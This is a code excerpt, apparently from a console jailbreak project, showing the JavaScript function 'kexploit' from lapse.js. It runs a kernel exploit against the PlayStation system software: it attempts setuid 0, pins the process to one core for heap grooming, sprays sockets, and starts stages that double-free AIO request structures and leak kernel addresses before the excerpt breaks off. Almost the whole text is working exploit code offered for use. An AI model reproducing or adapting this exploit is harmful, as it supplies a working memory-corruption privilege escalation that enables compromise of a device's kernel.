Function kexploit

g2all/900/lapse.js:1686–1773

()

//
// the exploit implementation also assumes that we are pinned to one core
export async function kexploit() {
    const _init_t1 = performance.now();
    await init();
    const _init_t2 = performance.now();

    try {
        chain.sys('setuid', 0);
    } catch (e) {
        localStorage.ExploitLoaded = "no";
    }
    
    if (localStorage.ExploitLoaded === "yes" && sessionStorage.ExploitLoaded != "yes") {
        msgs.innerHTML = "GoldHEN is Already Loaded ...";
        return new Promise(() => {});
    }
 
    // fun fact:
    // if the first thing you do since boot is run the web browser, WebKit can
    // use all the cores
    const main_mask = new Long();
    get_our_affinity(main_mask);
    log(`main_mask: ${main_mask}`);

    // pin to 1 core so that we only use 1 per-cpu bucket. this will make heap
    // spraying and grooming easier
    log(`pinning process to core #${main_core}`);
    set_our_affinity(new Long(1 << main_core));
    get_our_affinity(main_mask);
    log(`main_mask: ${main_mask}`);

    log("setting main thread's priority");
    sysi('rtprio_thread', RTP_SET, 0, rtprio.addr);

    const [block_fd, unblock_fd] = (() => {
        const unix_pair = new View4(2);
        sysi('socketpair', AF_UNIX, SOCK_STREAM, 0, unix_pair.addr);
        return unix_pair;
    })();

    const sds = [];
    for (let i = 0; i < num_sds; i++) {
        sds.push(new_socket());
    }

    let block_id = null;
    let groom_ids = null;

    try {
        log('STAGE: Setup');
        [block_id, groom_ids] = setup(block_fd);

        log('\nSTAGE: Double free AIO queue entry');
        const sd_pair = double_free_reqs2(sds);

        log('\nSTAGE: Leak kernel addresses');
        const [reqs1_addr, kbuf_addr, kernel_addr, target_id, evf,] = leak_kernel_addrs(sd_pair);

        log('\nSTAGE: Double free SceKernelAioRWRequest');